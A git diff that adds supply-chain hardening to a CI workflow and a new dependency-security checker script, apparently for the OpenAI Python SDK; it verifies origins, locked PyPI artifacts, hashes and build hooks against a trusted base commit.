+ python -I -c 'import ast, os, pathlib, re, subprocess, tomllib; config = tomllib.loads(pathlib.Path("pyproject.toml").read_text()); fork = os.environ.get("UNTRUSTED_BUILD_FORK", "0") == "1"; base = os.environ.get("TRUSTED_BUILD_BASE_SHA", ""); assert not fork or re.fullmatch(r"[0-9a-f]{40}", base), "Untrusted fork build base commit"; assert not fork or subprocess.check_output(["git", "remote", "get-url", "origin"], text=True).strip() in {"https://github.com/openai/openai-python", "https://github.com/openai/openai-python.git"}, "Untrusted fork build base origin"; subprocess.run(["git", "fetch", "--no-tags", "--depth=1", "origin", base], check=True) if fork else None; trusted = tomllib.loads(subprocess.check_output(["git", "show", base + ":pyproject.toml"], text=True)) if fork else config; hatch = lambda document: document.get("tool", {}).get("hatch", {}); executable = lambda document: (hatch(document).get("build", {}).get("hooks", {}), tuple(sorted((name, target.get("hooks", {})) for name, target in hatch(document).get("build", {}).get("targets", {}).items() if target.get("hooks", {}))), hatch(document).get("metadata", {}).get("hooks", {})); assert not fork or executable(config) == executable(trusted), "Untrusted fork Hatch executable hook configuration"; sections = executable(config); paths = [definition.get("path", "hatch_build.py") for mapping in [sections[0], *[item[1] for item in sections[1]], sections[2]] for plugin, definition in mapping.items() if plugin == "custom" or "path" in definition] if fork else []; assert not fork or len(paths) <= 32 and all(isinstance(location, str) and bool(location) and len(location) <= 512 and not (candidate := pathlib.Path(location)).is_absolute() and bool(candidate.parts) and ".." not in candidate.parts and candidate.is_file() and all(not pathlib.Path(*candidate.parts[:index]).is_symlink() for index in range(1, len(candidate.parts) + 1)) and candidate.read_bytes() == subprocess.check_output(["git", "show", base + ":" + candidate.as_posix()]) for location in paths), "Untrusted fork Hatch executable hook source"; project = config["project"]; lock = tomllib.loads(pathlib.Path("uv.lock").read_text()); trusted_lock = tomllib.loads(subprocess.check_output(["git", "show", base + ":uv.lock"], text=True)) if fork else lock; roots = [package for package in lock["package"] if package.get("name") == project["name"] and package.get("version") == project["version"] and package.get("source") == {"editable": "."}]; build = config.get("build-system", {}); uv = config.get("tool", {}).get("uv", {}); requires = build.get("requires", []); constraints = uv.get("build-constraint-dependencies", []); reviewed = config.get("dependency-groups", {}).get("build", []); canonical = lambda value: re.sub(r"[-_.]+", "-", value).lower(); package_identity = lambda package: (canonical(package["name"]), package["version"], package.get("source", {}).get("registry", ""), tuple(sorted((artifact["url"], artifact["hash"]) for artifact in (([package["sdist"]] if "sdist" in package else []) + package.get("wheels", []))))); normalize = lambda value: re.sub(r"\s+", "", value); identity = lambda value: (canonical((item := re.fullmatch(r"([A-Za-z0-9][A-Za-z0-9_.-]*)\s*==\s*([0-9]+(?:\.[0-9]+)*(?:\.post[0-9]+)?)(?:\s*;\s*(.+))?", value)).group(1)), item.group(2), ast.dump(ast.parse(item.group(3), mode="eval")) if item.group(3) is not None else ""); assert len(roots) == 1 and canonical(project["name"]) == "openai" and sum(canonical(package.get("name", "")) == "openai" for package in lock["package"]) == 1 and all(package is roots[0] or package.get("source") == {"registry": "https://pypi.org/simple"} and isinstance(package.get("wheels"), list) and bool(package.get("wheels")) and (artifacts := ([package["sdist"]] if "sdist" in package else []) + package.get("wheels", [])) and all(isinstance(artifact, dict) and re.fullmatch(r"https://files\.pythonhosted\.org/packages/[^\s?#]+", artifact.get("url", "")) and re.fullmatch(r"sha256:[0-9a-f]{64}", artifact.get("hash", "")) for artifact in artifacts) for package in lock["package"]) and (not fork or sorted(package_identity(package) for package in lock["package"] if package is not roots[0]) == sorted(package_identity(package) for package in trusted_lock["package"] if package.get("source") != {"editable": "."})) and build.get("build-backend") == "hatchling.build" and "backend-path" not in build and isinstance(requires, list) and bool(requires) and isinstance(constraints, list) and bool(constraints) and isinstance(reviewed, list) and bool(reviewed) and not any(uv.get(key) for key in ("sources", "index", "indexes", "index-url", "extra-index-url", "default-index", "find-links", "index_url", "extra_index_url", "default_index", "find_links", "no-binary", "no-binary-package", "no_binary", "no_binary_package")) and not any(pathlib.Path(path).exists() for path in ("uv.toml", ".uv.toml")) and all(isinstance(requirement, str) and (match := re.fullmatch(r"([A-Za-z0-9][A-Za-z0-9_.-]*)\s*==\s*([0-9]+(?:\.[0-9]+)*(?:\.post[0-9]+)?)(?:\s*;\s*(.+))?", requirement)) is not None and (match.group(3) is None or isinstance(marker := ast.parse(match.group(3), mode="eval").body, ast.Compare) and isinstance(marker.left, ast.Name) and len(marker.ops) == 1 and type(marker.ops[0]) in {ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE, ast.In, ast.NotIn} and len(marker.comparators) == 1 and isinstance(marker.comparators[0], ast.Constant) and isinstance(marker.comparators[0].value, str)) and any(canonical(package.get("name", "")) == canonical(match.group(1)) and package.get("version") == match.group(2) and package.get("source") == {"registry": "https://pypi.org/simple"} for package in lock["package"]) for requirement in requires + constraints + reviewed) and {normalize(requirement) for requirement in constraints} == {normalize(requirement) for requirement in reviewed} and {normalize(requirement) for requirement in requires}.issubset({normalize(requirement) for requirement in constraints}) and any(canonical(requirement.split("==", 1)[0].strip()) == "hatchling" for requirement in requires) and build.get("build-backend") == trusted.get("build-system", {}).get("build-backend") and {identity(requirement) for requirement in requires} == {identity(requirement) for requirement in trusted.get("build-system", {}).get("requires", [])} and {identity(requirement) for requirement in constraints} == {identity(requirement) for requirement in trusted.get("tool", {}).get("uv", {}).get("build-constraint-dependencies", [])} and {identity(requirement) for requirement in reviewed} == {identity(requirement) for requirement in trusted.get("dependency-groups", {}).get("build", [])}, "Use only the public PyPI registry, reviewed artifacts, the exact editable root project, and locked reviewed build requirements in uv.lock"'
+
- name: Set up uv
uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
with:
@@ -76,16 +91,308 @@ jobs:
with:
persist-credentials: false
repository: openai/openai-agents-python
+ ref: 7e55afc9500d12937687988f1e91e900dcb4ad09
path: openai-agents-python
+ - name: Constrain Agents-only packages to reviewed locked versions
+ id: reviewed_agents_constraints
+ working-directory: openai-agents-python
+ run: |
+ constraints="$(mktemp "$RUNNER_TEMP/reviewed-agents-constraints.XXXXXXXX")"
+ python -I - "$constraints" <<'PY'
+ import collections
+ import os
+ import pathlib
+ import re
+ import subprocess
+ import sys
+ import tomllib
+
+ PUBLIC = {"registry": "https://pypi.org/simple"}
+
+ def reject(reason):
+ raise SystemExit("Unreviewed Agents dependency constraint: " + reason)
+
+ def canonical(value):
+ if not isinstance(value, str):
+ reject("invalid package name")
+ normalized = re.sub(r"[-_.]+", "-", value).lower()
+ if not re.fullmatch(r"[a-z0-9][a-z0-9-]*", normalized):
+ reject("invalid package name")
+ return normalized
+
+ def checkout_origin(arguments, expected):
+ origin = subprocess.check_output(arguments, text=True).strip()
+ if origin not in {expected, expected + ".git"}:
+ reject("untrusted checkout origin")
+
+ checkout_origin(
+ ["git", "remote", "get-url", "origin"],
+ "https://github.com/openai/openai-agents-python",
+ )
+ sdk = pathlib.Path("../openai-python")
+ if sdk.is_symlink() or not sdk.is_dir():
+ reject("the local SDK must be the reviewed sibling checkout")
+ checkout_origin(
+ ["git", "-C", "../openai-python", "remote", "get-url", "origin"],
+ "https://github.com/openai/openai-python",
+ )
+
+ agents = tomllib.loads(subprocess.check_output(["git", "show", "HEAD:uv.lock"], text=True))
+ if os.environ.get("UNTRUSTED_BUILD_FORK") == "1":
+ base = os.environ.get("TRUSTED_BUILD_BASE_SHA", "")
+ if not re.fullmatch(r"[0-9a-f]{40}", base):
+ reject("invalid immutable SDK base revision")
+ sdk_content = subprocess.check_output(
+ ["git", "-C", "../openai-python", "show", base + ":uv.lock"],
+ text=True,
+ )
+ else:
+ sdk_content = sdk.joinpath("uv.lock").read_text()
+ sdk_lock = tomllib.loads(sdk_content)
+
+ shared = {canonical(package.get("name")) for package in sdk_lock.get("package", [])}
+ agents_only = collections.defaultdict(list)
+ for package in agents.get("package", []):
+ name = canonical(package.get("name"))
+ if name in shared or name in {"openai", "openai-agents"}:
+ continue
+ if package.get("source") != PUBLIC:
+ reject(name + " has an unreviewed package source")
+ version = package.get("version")
+ if not isinstance(version, str) or not re.fullmatch(r"[0-9][A-Za-z0-9.!+_-]*", version):
+ reject(name + " has an unsafe package version")
+ agents_only[name].append(version)
+
+ target = pathlib.Path(sys.argv[1])
+ runner_temp = pathlib.Path(os.environ["RUNNER_TEMP"]).resolve()
+ if target.is_symlink() or not target.is_file() or target.parent.resolve() != runner_temp:
+ reject("unsafe runner constraint-file path")
+ pins = []
+ for name, versions in sorted(agents_only.items()):
+ if len(versions) != 1:
+ continue
+ if name == "pynput" and versions[0] != "1.8.1":
+ reject("the reviewed pynput dependency changed")
+ version = "1.6.8" if name == "pynput" else versions[0]
+ pins.append(name + "==" + version)
+ target.write_text("\n".join(pins) + "\n")
+ PY
+ printf 'path=%s\n' "$constraints" >> "$GITHUB_OUTPUT"
+
- name: Link to local SDK
working-directory: openai-agents-python
- run: uv add ../openai-python
+ env:
+ UV_NO_BINARY_PACKAGE: 'openai openai-agents'
+ UV_CONSTRAINT: ${{ steps.reviewed_agents_constraints.outputs.path }}
+ run: uv add --no-sync ../openai-python
+
+ - name: Verify relinked Agents lock package provenance
+ working-directory: openai-agents-python
+ run: |
+ python -I <<'PY'
+ import os
+ import pathlib
+ import re
+ import subprocess
+ import tomllib
+
+ PUBLIC = {"registry": "https://pypi.org/simple"}
+
+ def reject(reason):
+ raise SystemExit("Unreviewed relinked Agents lock package: " + reason)
+
+ def canonical(value):
+ if not isinstance(value, str):
+ reject("invalid package name")
+ return re.sub(r"[-_.]+", "-", value).lower()
+
+ def identity(package):
+ name = canonical(package.get("name"))
+ version = package.get("version")
+ source = package.get("source")
+ if not isinstance(version, str) or source != PUBLIC:
+ reject(name + " has an unreviewed version or package source")
+ artifacts = []
+ if "sdist" in package:
+ artifacts.append(("sdist", package["sdist"]))
+ if "wheels" in package:
+ wheels = package["wheels"]
+ if not isinstance(wheels, list):
+ reject(name + " has invalid wheels")
+ artifacts.extend(("wheel", wheel) for wheel in wheels)
+ if not artifacts:
+ reject(name + " has no reviewed distribution artifacts")
+ complete = []
+ for kind, artifact in artifacts:
+ if not isinstance(artifact, dict):
+ reject(name + " has an invalid artifact")
+ url, digest = artifact.get("url"), artifact.get("hash")
+ if not isinstance(url, str) or not re.fullmatch(
+ r"https://files\.pythonhosted\.org/packages/[^\s?#]+", url
+ ):
+ reject(name + " has an unreviewed artifact URL")
+ if not isinstance(digest, str) or not re.fullmatch(r"sha256:[0-9a-f]{64}", digest):
+ reject(name + " has an unreviewed artifact digest")
+ if kind == "wheel" and not url.endswith(".whl"):
+ reject(name + " has an invalid wheel")
+ complete.append((kind, url, digest))
+ if len(set(complete)) != len(complete):
+ reject(name + " has duplicate artifact records")
+ return name, version, tuple(sorted(source.items())), tuple(sorted(complete))
+
+ def checkout_origin(arguments, expected):
+ origin = subprocess.check_output(arguments, text=True).strip()
+ if origin not in {expected, expected + ".git"}:
+ reject("untrusted checkout origin")
+
+ checkout_origin(
+ ["git", "remote", "get-url", "origin"],
+ "https://github.com/openai/openai-agents-python",
+ )
+ sdk = pathlib.Path("../openai-python")
+ if sdk.is_symlink() or not sdk.is_dir():
+ reject("the local SDK must be the reviewed sibling checkout")
+ checkout_origin(
+ ["git", "-C", "../openai-python", "remote", "get-url", "origin"],
+ "https://github.com/openai/openai-python",
+ )
+
+ agents_lock = tomllib.loads(subprocess.check_output(["git", "show", "HEAD:uv.lock"], text=True))
+ if os.environ.get("UNTRUSTED_BUILD_FORK") == "1":
+ base = os.environ.get("TRUSTED_BUILD_BASE_SHA", "")
+ if not re.fullmatch(r"[0-9a-f]{40}", base):
+ reject("invalid immutable SDK base revision")
+ sdk_content = subprocess.check_output(
+ ["git", "-C", "../openai-python", "show", base + ":uv.lock"],
+ text=True,
+ )
+ else:
+ sdk_content = sdk.joinpath("uv.lock").read_text()
+ sdk_lock = tomllib.loads(sdk_content)
+ current = tomllib.loads(pathlib.Path("uv.lock").read_text())
+
+ def reviewed_root(lock, name):
+ matches = [
+ package
+ for package in lock.get("package", [])
+ if canonical(package.get("name")) == name
+ and package.get("source") == {"editable": "."}
+ ]
+ if len(matches) != 1 or not isinstance(matches[0].get("version"), str):
+ reject("the trusted " + name + " root is invalid")
+ return matches[0]
+
+ agents_root = reviewed_root(agents_lock, "openai-agents")
+ sdk_root = reviewed_root(sdk_lock, "openai")
+ approved = set()
+ for lock, root in ((agents_lock, agents_root), (sdk_lock, sdk_root)):
+ for package in lock.get("package", []):
+ if package is root:
+ continue
+ approved.add(identity(package))
+
+ reviewed_pynput = [
+ package
+ for package in agents_lock.get("package", [])
+ if canonical(package.get("name")) == "pynput"
+ ]
+ if (
+ len(reviewed_pynput) != 1
+ or reviewed_pynput[0].get("version") != "1.8.1"
+ or reviewed_pynput[0].get("source") != PUBLIC
+ ):
+ reject("the reviewed pynput dependency changed")
+ approved.add(
+ identity(
+ {
+ "name": "pynput",
+ "version": "1.6.8",
+ "source": PUBLIC,
+ "sdist": {
+ "url": (
+ "https://files.pythonhosted.org/packages/e7/32/"
+ "fa88984fc580de9e9fd08ee36dfd78ea15658d5b0268095785da7ab75ba0/"
+ "pynput-1.6.8.tar.gz"
+ ),
+ "hash": "sha256:68c1863d6a1520b44b6a915e866cbfa1b8d127aef9289f25183c93e28ee5049a",
+ },
+ "wheels": [
+ {
+ "url": (
+ "https://files.pythonhosted.org/packages/33/0a/"
+ "ea13c055a90b1aff5945e7eb330584f15e5282aead15a8f3cdb977a1534e/"
+ "pynput-1.6.8-py2.py3-none-any.whl"
+ ),
+ "hash": (
+ "sha256:42d6d58abe401a4c98ea04e443e61f74b6b0f97672f42042f566c68700ad0c65"
+ ),
+ }
+ ],
+ }
+ )
+ )
+
+ seen = set()
+ local_roots = {"openai-agents": 0, "openai": 0}
+ for package in current.get("package", []):
+ name = canonical(package.get("name"))
+ if name in local_roots:
+ local_roots[name] += 1
+ expected = agents_root if name == "openai-agents" else sdk_root
+ source = {"editable": "."} if name == "openai-agents" else {"directory": "../openai-python"}
+ if package.get("version") != expected.get("version") or package.get("source") != source:
+ reject("the local " + name + " root changed")
+ continue
+ actual = identity(package)
+ if actual not in approved or actual in seen:
+ reject(name + " is unreviewed or duplicated")
+ seen.add(actual)
+ if local_roots != {"openai-agents": 1, "openai": 1}:
+ reject("the relinked lock must contain exactly the two reviewed local roots")
+ PY
- name: Install dependencies
working-directory: openai-agents-python
- run: make sync
+ env:
+ UV_NO_BINARY_PACKAGE: 'openai openai-agents'
+ UV_LOCKED: '1'
+ run: |
+ reviewed_sources="$(python -c 'import pathlib, re, subprocess, tomllib; origin = subprocess.check_output(["git", "remote", "get-url", "origin"], text=True).strip(); assert origin in {"https://github.com/openai/openai-agents-python", "https://github.com/openai/openai-agents-python.git"}, "Use only the immutable reviewed Agents source distributions"; trusted = tomllib.loads(subprocess.check_output(["git", "show", "HEAD:uv.lock"], text=True)); current = tomllib.loads(pathlib.Path("uv.lock").read_text()); canonical = lambda value: re.sub(r"[-_.]+", "-", value).lower(); reviewed = {"aiohttp": ("3.12.15", "https://files.pythonhosted.org/packages/9b/e7/d92a237d8802ca88483906c388f7c201bbe96cd80a165ffd0ac2f6a8d59f/aiohttp-3.12.15.tar.gz", "sha256:4fc61385e9c98d72fcdf47e6dd81833f47b2f77c114c29cd64a361be57a763a2"), "markupsafe": ("3.0.2", "https://files.pythonhosted.org/packages/b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz", "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0"), "pyyaml": ("6.0.2", "https://files.pythonhosted.org/packages/54/ed/79a089b6be93607fa5cdaedf301d7dfb23af5f25c398d5ead2525b063e17/pyyaml-6.0.2.tar.gz", "sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e"), "evdev": ("1.9.2", "https://files.pythonhosted.org/packages/63/fe/a17c106a1f4061ce83f04d14bcedcfb2c38c7793ea56bfb906a6fadae8cb/evdev-1.9.2.tar.gz", "sha256:5d3278892ce1f92a74d6bf888cc8525d9f68af85dbe336c95d1c87fb8f423069")}; public = {"registry": "https://pypi.org/simple"}; approved = {name: [entry for entry in trusted["package"] if canonical(entry.get("name", "")) == name] for name in reviewed}; actual = {name: [entry for entry in current["package"] if canonical(entry.get("name", "")) == name] for name in reviewed}; safe = lambda artifact: isinstance(artifact, dict) and re.fullmatch(r"https://files\.pythonhosted\.org/packages/[^\s?#]+", artifact.get("url", "")) and re.fullmatch(r"sha256:[0-9a-f]{64}", artifact.get("hash", "")); assert all(len(approved[name]) == 1 and approved[name][0].get("version") == version and approved[name][0].get("source") == public and isinstance(approved[name][0].get("sdist"), dict) and approved[name][0]["sdist"].get("url") == url and approved[name][0]["sdist"].get("hash") == digest for name, (version, url, digest) in reviewed.items()), "Use only the immutable reviewed Agents source distributions"; assert all(len(actual[name]) <= 1 and (not actual[name] or actual[name][0].get("source") == public and (actual[name][0].get("version") == version and actual[name][0].get("sdist") == approved[name][0].get("sdist") or actual[name][0].get("version") != version and isinstance(wheels := actual[name][0].get("wheels"), list) and bool(wheels) and all(safe(artifact) for artifact in ([actual[name][0]["sdist"]] if "sdist" in actual[name][0] else []) + wheels) and all(wheel["url"].endswith(".whl") for wheel in wheels))) for name, (version, _, _) in reviewed.items()), "Use only the immutable reviewed Agents source distributions"; print(" ".join(name for name, (version, _, _) in reviewed.items() if actual[name] and actual[name][0].get("version") == version and actual[name][0].get("sdist") == approved[name][0].get("sdist")))')"
+ denied_sources="$(python - "$reviewed_sources" <<'PY'
+ import pathlib
+ import re
+ import sys
+ import tomllib
+
+ roots = {"openai": {"directory": "../openai-python"}, "openai-agents": {"editable": "."}}
+ public = {"registry": "https://pypi.org/simple"}
+ reviewed = set(sys.argv[1].split())
+ packages = {}
+ for package in tomllib.loads(pathlib.Path("uv.lock").read_text())["package"]:
+ original = package.get("name")
+ if not isinstance(original, str):
+ raise SystemExit("Refuse an invalid Agents source-build package name")
+ name = re.sub(r"[-_.]+", "-", original).lower()
+ if not re.fullmatch(r"[a-z0-9][a-z0-9-]*", name):
+ raise SystemExit("Refuse an invalid Agents source-build package name")
+ if package.get("source") != roots.get(name, public) or name in packages and (
+ original != packages[name] or name in roots
+ ):
+ raise SystemExit("Refuse an unreviewed Agents source-build package")
+ packages[name] = original
+ external = set(packages) - set(roots)
+ denied = external - reviewed
+ if not set(roots).issubset(packages) or not reviewed.issubset(external) or not denied:
+ raise SystemExit("Refuse incomplete Agents source-build restrictions")
+ print(" ".join(sorted(denied)))
+ PY
+ )"
+ env -u UV_NO_BUILD UV_NO_BUILD_PACKAGE="${denied_sources}" UV_NO_BINARY_PACKAGE="openai openai-agents ${reviewed_sources}" make sync
- name: Run integration type checks
+ env:
+ UV_NO_BINARY_PACKAGE: 'openai openai-agents'
+ UV_NO_SYNC: '1'
working-directory: openai-agents-python
run: make mypy
diff --git a/scripts/check-dependency-security.py b/scripts/check-dependency-security.py
new file mode 100644
index 0000000000..b6905f5f69
--- /dev/null
+++ b/scripts/check-dependency-security.py
@@ -0,0 +1,2428 @@
+from __future__ import annotations
+
+import io
+import os
+import re
+import ast
+import pathlib
+import tokenize
+import importlib
+import subprocess
+from typing import Any, TypeAlias, cast
+
+MarkerClause: TypeAlias = tuple[str, str, str]
+MarkerContext: TypeAlias = tuple[MarkerClause, ...]
+StableRelease: TypeAlias = tuple[int, tuple[int, ...], int]
+PublishedBound: TypeAlias = tuple[str, int, tuple[int, ...], int, bool]
+DependencyContext: TypeAlias = tuple[str, str, tuple[str, ...], MarkerContext]
+RequirementSource: TypeAlias = tuple[str, str, tuple[str, ...], str]
+RequirementMap: TypeAlias = dict[str, set[str]]
+ContextRequirements: TypeAlias = dict[DependencyContext, set[str]]
+ContextsByName: TypeAlias = dict[str, ContextRequirements]
+ContextReplacements: TypeAlias = dict[DependencyContext, ContextRequirements]
+ResolutionDomains: TypeAlias = dict[MarkerContext, set[str]]
+ResolutionsByName: TypeAlias = dict[str, ResolutionDomains]
+tomllib: Any = importlib.import_module("tomllib")
+
+base = os.environ.get("BASE_SHA", "")
+if not re.fullmatch(r"[0-9a-f]{40}", base):
+ raise SystemExit("Untrusted security-update base commit")
+origin = subprocess.check_output(["git", "remote", "get-url", "origin"], text=True).strip()
+if origin not in {
+ "https://github.com/openai/openai-python",
+ "https://github.com/openai/openai-python.git",
+ "git@github.com:openai/openai-python.git",
+ "ssh://git@github.com/openai/openai-python.git",
+}:
+ raise SystemExit("Untrusted security-update comparison origin")
+subprocess.run(["git", "fetch", "--no-tags", "--depth=1", "origin", base], check=True)
+
+
+def read_base(path: str) -> dict[str, Any]:
+ return cast(dict[str, Any], tomllib.loads(subprocess.check_output(["git", "show", base + ":" + path], text=True)))
+
+
+def canonical(name: str) -> str:
+ return re.sub(r"[-_.]+", "-", name).lower()
+
+
+def parse_marker_expression(marker: str) -> ast.expr:
+ tokens = list(tokenize.generate_tokens(io.StringIO(marker).readline))
+ lines = marker.splitlines(keepends=True)
+ offsets = [0]
+ for line in lines:
+ offsets.append(offsets[-1] + len(line))
+ replacements: list[tuple[int, int, str]] = []
+ for index, token in enumerate(tokens):
+ if token.type == tokenize.NAME and token.string == "is":
+ raise ValueError("Unsupported Python security dependency marker operator")
+ if token.type != tokenize.OP or index + 1 == len(tokens):
+ continue
+ following = tokens[index + 1]
+ if following.type != tokenize.OP or token.end != following.start or following.string != "=":
+ continue
+ if token.string == "~":
+ replacement = "is"
+ elif token.string == "==":
+ replacement = "is not"
+ else:
+ continue
+ start = offsets[token.start[0] - 1] + token.start[1]
+ stop = offsets[following.end[0] - 1] + following.end[1]
+ replacements.append((start, stop, replacement))
+ for start, stop, replacement in reversed(replacements):
+ marker = marker[:start] + replacement + marker[stop:]
+ return ast.parse(marker, mode="eval").body
+
+
+def marker_clause(part: ast.expr) -> MarkerClause:
+ if (
+ not isinstance(part, ast.Compare)
+ or len(part.ops) != 1
+ or len(part.comparators) != 1
+ or type(part.ops[0])
+ not in {ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE, ast.In, ast.NotIn, ast.Is, ast.IsNot}
+ ):
+ raise SystemExit("Ambiguous direct security dependency marker")
+ operator = {"Is": "Compatible", "IsNot": "ArbitraryEq"}.get(type(part.ops[0]).__name__, type(part.ops[0]).__name__)
+ right = part.comparators[0]
+ if isinstance(part.left, ast.Name) and isinstance(right, ast.Constant) and isinstance(right.value, str):
+ variable, value = part.left.id, right.value
+ elif (
+ isinstance(part.left, ast.Constant)
+ and isinstance(part.left.value, str)
+ and isinstance(right, ast.Name)
+ and operator in {"Eq", "NotEq", "Lt", "LtE", "Gt", "GtE", "In", "NotIn"}
+ ):
+ variable, value = right.id, part.left.value
+ operator = {
+ "Eq": "Eq",
+ "NotEq": "NotEq",
+ "Lt": "Gt",
+ "LtE": "GtE",
+ "Gt": "Lt",
+ "GtE": "LtE",
+ "In": "ReverseIn",
+ "NotIn": "ReverseNotIn",
+ }[operator]
+ else:
+ raise SystemExit("Ambiguous direct security dependency marker")
+ return variable.lower(), operator, value
+
+
+def marker_context(marker: str) -> MarkerContext:
+ if not marker.strip():
+ return ()
+ try:
+ if any(
+ token.type == tokenize.OP and token.string in {"(", ")"}
+ for token in tokenize.generate_tokens(io.StringIO(marker).readline)
+ ):
+ raise ValueError("Parenthesized security dependency marker")
+ expression = parse_marker_expression(marker.strip())
+ except (SyntaxError, tokenize.TokenError, ValueError):
+ raise SystemExit("Ambiguous direct security dependency marker") from None
+ if isinstance(expression, ast.BoolOp):
+ if not isinstance(expression.op, ast.And):
+ raise SystemExit("Ambiguous direct security dependency marker")
+ parts = expression.values
+ else:
+ parts = [expression]
+ return tuple(sorted(marker_clause(part) for part in parts))
+
+
+def direct_marker_contexts(marker: str) -> tuple[MarkerContext, ...]:
+ if not marker.strip():
+ return ((),)
+ if len(marker) > 1024:
+ raise SystemExit("Unbounded direct security dependency marker")
+ try:
+ expression = parse_marker_expression(marker.strip())
+ except (SyntaxError, tokenize.TokenError, ValueError):
+ raise SystemExit("Ambiguous direct security dependency marker") from None
+ if sum(1 for _ in ast.walk(expression)) > 256:
+ raise SystemExit("Unbounded direct security dependency marker")
+
+ def expand(node: ast.expr, depth: int = 0) -> list[MarkerContext]:
+ if depth > 32:
+ raise SystemExit("Unbounded direct security dependency marker")
+ if isinstance(node, ast.BoolOp):
+ values: list[MarkerContext]
+ if isinstance(node.op, ast.Or):
+ values = []
+ for child in node.values:
+ values.extend(expand(child, depth + 1))
+ if len(values) > 128:
+ raise SystemExit("Unbounded direct security dependency marker")
+ elif isinstance(node.op, ast.And):
+ values = [()]
+ for child in node.values:
+ current = expand(child, depth + 1)
+ if len(values) * len(current) > 128:
+ raise SystemExit("Unbounded direct security dependency marker")
+ values = [tuple(sorted(set(left + right))) for left in values for right in current]
+ else:
+ raise SystemExit("Ambiguous direct security dependency marker")
+ return values
+ context = (marker_clause(node),)
+ for option in marker_options(context):
+ simple_marker_overlap(option, ())
+ return [context]
+
+ expanded = expand(expression)
+ if sum(len(marker_options(context)) for context in expanded) > 128:
+ raise SystemExit("Unbounded direct security dependency marker")
+ unique: list[MarkerContext] = []
+ for context in sorted(set(expanded), key=lambda value: (len(value), value)):
+ if not marker_overlap(context, ()):
+ continue
+ if any(not uncovered_marker_fragments(context, [previous]) for previous in unique):
+ continue
+ unique = [previous for previous in unique if uncovered_marker_fragments(previous, [context])]
+ unique.append(context)
+ return tuple(unique)
+
+
+def direct(project: dict[str, Any], *, protected: bool = False) -> tuple[RequirementMap, ContextsByName]:
+ if protected:
+ uv = project.get("tool", {}).get("uv", {})
+ groups = [
+ ("uv-constraint", "", uv.get("constraint-dependencies", [])),
+ ("uv-build-constraint", "", uv.get("build-constraint-dependencies", [])),
+ ]
+ groups.extend(
+ ("dependency-group", canonical(group), requirements)
+ for group, requirements in project.get("dependency-groups", {}).items()
+ )
+ else:
+ groups = [("runtime", "", project["project"].get("dependencies", []))]
+ groups.extend(
+ ("optional", canonical(group), requirements)
+ for group, requirements in project["project"].get("optional-dependencies", {}).items()
+ )
+ result: RequirementMap = {}
+ contexts: ContextsByName = {}
+ for scope, group, requirements in groups:
+ for requirement in requirements:
+ match = re.fullmatch(r"\s*([A-Za-z0-9][A-Za-z0-9_.-]*)(\[[^\]]+\])?\s*(.*)", requirement)
+ if match is None:
+ raise SystemExit("Ambiguous direct security dependency requirement")
+ name = canonical(match.group(1))
+ extra = match.group(2)
+ requested: tuple[str, ...] = ()
+ if extra:
+ requested = tuple(sorted(canonical(value.strip()) for value in extra[1:-1].split(",")))
+ if any(not re.fullmatch(r"[a-z0-9][a-z0-9-]*", value) for value in requested):
+ raise SystemExit("Ambiguous direct security dependency extras")
+ normalized = name + (match.group(2) or "").lower() + re.sub(r"\s+", "", match.group(3)).lower()
+ result.setdefault(name, set()).add(normalized)
+ for marker in direct_marker_contexts(match.group(3).partition(";")[2]):
+ context = (scope, group, requested, marker)
+ contexts.setdefault(name, {}).setdefault(context, set()).add(normalized)
+ return result, contexts
+
+
+def versions(lock: dict[str, Any]) -> tuple[RequirementMap, ResolutionsByName]:
+ result: RequirementMap = {}
+ contexts: ResolutionsByName = {}
+ for package in lock["package"]:
+ name = canonical(package["name"])
+ version = package["version"]
+ result.setdefault(name, set()).add(version)
+ markers = package.get("resolution-markers")
+ domains: list[MarkerContext]
+ if markers is None:
+ domains = [()]
+ else:
+ if (
+ not isinstance(markers, list)
+ or not markers
+ or any(not isinstance(marker, str) for marker in cast(list[object], markers))
+ ):
+ raise SystemExit("Ambiguous locked security dependency resolution marker")
+ domains = [marker_context(marker) for marker in cast(list[str], markers)]
+ for domain in domains:
+ contexts.setdefault(name, {}).setdefault(domain, set()).add(version)
+ return result, contexts
+
+
+def dependency_marker_options(marker: object, extras: tuple[str, ...]) -> list[MarkerContext]:
+ if marker is None:
+ return [()]
+ if not isinstance(marker, str) or not marker.strip() or len(marker) > 1024:
+ raise SystemExit("Ambiguous locked security dependency edge marker")
+ try:
+ expression = parse_marker_expression(marker)
+ except (SyntaxError, tokenize.TokenError, ValueError):
+ raise SystemExit("Ambiguous locked security dependency edge marker") from None
+
+ selected = extras or ("",)
+ if len(selected) > 128:
+ raise SystemExit("Unbounded locked security dependency edge extras")
+ work = 0
+
+ def options(node: ast.expr, extra: str) -> list[MarkerContext]:
+ nonlocal work
+ work += 1
+ if work > 8192:
+ raise SystemExit("Unbounded locked security dependency edge marker")
+ if isinstance(node, ast.BoolOp):
+ values: list[MarkerContext]
+ if isinstance(node.op, ast.Or):
+ values = [context for child in node.values for context in options(child, extra)]
+ elif isinstance(node.op, ast.And):
+ values = [()]
+ for child in node.values:
+ current = options(child, extra)
+ if len(values) * len(current) > 128:
+ raise SystemExit("Unbounded locked security dependency edge marker")
+ values = [tuple(sorted(set(left + right))) for left in values for right in current]
+ else:
+ raise SystemExit("Ambiguous locked security dependency edge marker")
+ if len(values) > 128:
+ raise SystemExit("Unbounded locked security dependency edge marker")
+ return values
+ context = (marker_clause(node),)
+ variable, operator, value = context[0]
+ if variable != "extra":
+ return [context]
+ normalized = canonical(value)
+ if operator in {"Eq", "GtE", "LtE"}:
+ accepted = extra == normalized
+ elif operator == "NotEq":
+ accepted = extra != normalized
+ elif operator in {"Gt", "Lt"}:
+ accepted = False
+ elif operator in {"In", "NotIn", "ReverseIn", "ReverseNotIn"}:
+ if len(value) > 256:
+ raise SystemExit("Unbounded locked security dependency edge extra")
+ if operator in {"ReverseIn", "ReverseNotIn"}:
+ accepted = (normalized in extra) == (operator == "ReverseIn")
+ else:
+ accepted = (extra in normalized) == (operator == "In")
